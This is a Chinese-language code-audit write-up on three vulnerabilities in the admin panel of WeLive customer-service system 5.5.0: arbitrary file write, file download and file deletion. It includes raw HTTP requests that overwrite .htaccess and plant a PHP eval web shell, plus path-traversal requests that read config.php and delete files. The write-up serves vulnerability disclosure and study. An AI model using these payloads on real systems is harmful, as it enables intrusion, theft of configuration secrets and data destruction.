某月某日的某客服系统代码审计

WeLive在线客服系统5.5.0代码审计

背景

某月某日在家中闲来无事,浏览源码便下载来审,遇到的问题多存在在敏感操作的功能点上,这也是审计的关注点。

漏洞名称:WeLive在线客服系统5.5.0版本

文件任意写入漏洞

版本:welive_5.5.0

漏洞危害:高危

漏洞描述:WeLive在线客服系统是一个程序小巧,安装使用简单的网上在线客服系统。WeLive_5.5.0版本存在文件写入漏洞,攻击者可利用该漏洞写入任意脚本文件,进而获取系统权限。

代码分析

在源码中/admin/controllers/language.php中第92行之后save()函数负责处理保存语言文件。

在源码第111-112行可以看到用了两个函数:fopen()、fputs()。其filename和filecontent可控,可以看到第95行代码,虽然$filename经过了basename()函数处理,不能使用…/…/跳目录,但是拼接了lang_path路径,依旧可以在language目录下写入文件。

默认该CMS在/language/目录下存在.htaccess文件限制目录文件访问,如果想要getshell,首先需要弄过该漏洞写入文件覆盖掉这个文件内容。

在POST数据包中,给filecontent传入我们要写入的PHP代码,就可以写入到指定的文件中去。

本地复现操作:首先登录后台管理员账号。

http://www.keefe.is/admin/

构造数据包,这里直接先覆盖.htaccess文件,filecontent写为空,再覆盖一个English.php语言文件,filecontent写为构造的PHP代码:

POST /admin/index.php?c=language&a=save HTTP/1.1Host: www.keefe.isContent-Length: 31Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://www.keefe.isReferer: http://www.keefe.is/admin/index.php?c=language&a=edit&filename=Chinese.phpAccept-Language: zh-CN,zh;q=0.9Cookie: fwfjX3LV2Gkdbackinfos=0; yNCOLvLEBWUZbackinfos=0; yNCOLvLEBWUZsafe=124ce13cf0050e6fe746ed6e3925c66c; 124ce13cf0050e6fe746ed6e3925c66c=940c91d3f220860dd358a0bdcc74ec6a; yNCOLvLEBWUZadmin=d0a2ad873629d1863da44e78c7df07c3Connection: close
filename=.htaccess&filecontent=

POST /admin/index.php?c=language&a=save HTTP/1.1Host: www.keefe.isContent-Length: 41Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://www.keefe.isReferer: http://www.keefe.is/admin/index.php?c=language&a=edit&filename=Chinese.phpAccept-Language: zh-CN,zh;q=0.9Cookie: fwfjX3LV2Gkdbackinfos=0; yNCOLvLEBWUZbackinfos=0; yNCOLvLEBWUZsafe=124ce13cf0050e6fe746ed6e3925c66c; 124ce13cf0050e6fe746ed6e3925c66c=940c91d3f220860dd358a0bdcc74ec6a; yNCOLvLEBWUZadmin=d0a2ad873629d1863da44e78c7df07c3Connection: close
filename=English.php&filecontent=<?php @eval($_POST[a]); ?>

发送完两个数据包直接尝试用蚁剑连接。成功获取权限。

漏洞名称:WeLive在线客服系统5.5.0版本

任意文件下载漏洞

版本:welive_5.5.0

漏洞危害:高危

漏洞描述:WeLive在线客服系统是一个程序小巧,安装使用简单的网上在线客服系统。WeLive_5.5.0版本存在任意文件下载漏洞,攻击者可以利用该漏洞获取敏感信息。

代码分析

在源码中/admin/controllers/database.php中第40行代码使用了readfile()函数,该函数用来读取文件内容。

可以看到,第29行代码,$file变量可控,在当前函数传递的参数直接拼接路径和文件名,没有过滤,所以还可以跨目录读取文件。

本地复现操作:首先登录后台管理员账号。http://www.keefe.is/admin/

这里尝试下载/config/config.php该文件中保存着网站的数据库等重要的配置信息。

http://www.keefe.is/admin/index.php?c=database&a=ajax&action=download&file=../config/config.php

成功下载。

诸如/etc/shadow等这类重要的文件,如果说web的权限够大,都可以尝试下载到本地。

漏洞名称:WeLive在线客服系统5.5.0版本

任意文件删除漏洞

版本:welive_5.5.0

漏洞危害:高危

漏洞描述:WeLive在线客服系统是一个程序小巧,安装使用简单的网上在线客服系统。WeLive_5.5.0版本存在任意文件删除漏洞,攻击者可利用该漏洞删除任意文件。

代码分析

在源码中/admin/controllers/database.php中第57行代码使用了unlink()函数,该函数用来删除文件。

可以看到,第55行代码,$file变量可控,在当前函数传递的参数直接拼接路径和文件名,没有过滤,所以还可以跨目录删除文件。

本地复现操作:首先登录后台管理员账号。http://www.keefe.is/admin/

这里尝试删除web根目录下的test.txt

POST /admin/index.php?c=database&a=ajax&action=delete HTTP/1.1Host: www.keefe.isContent-Length: 16Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://www.keefe.isReferer: http://www.keefe.is/admin/index.php?c=language&a=edit&filename=Chinese.phpAccept-Language: zh-CN,zh;q=0.9Cookie: fwfjX3LV2Gkdbackinfos=0; yNCOLvLEBWUZbackinfos=0; yNCOLvLEBWUZsafe=124ce13cf0050e6fe746ed6e3925c66c; 124ce13cf0050e6fe746ed6e3925c66c=940c91d3f220860dd358a0bdcc74ec6a; yNCOLvLEBWUZadmin=d0a2ad873629d1863da44e78c7df07c3Connection: close
file=../test.txt

 成功删除。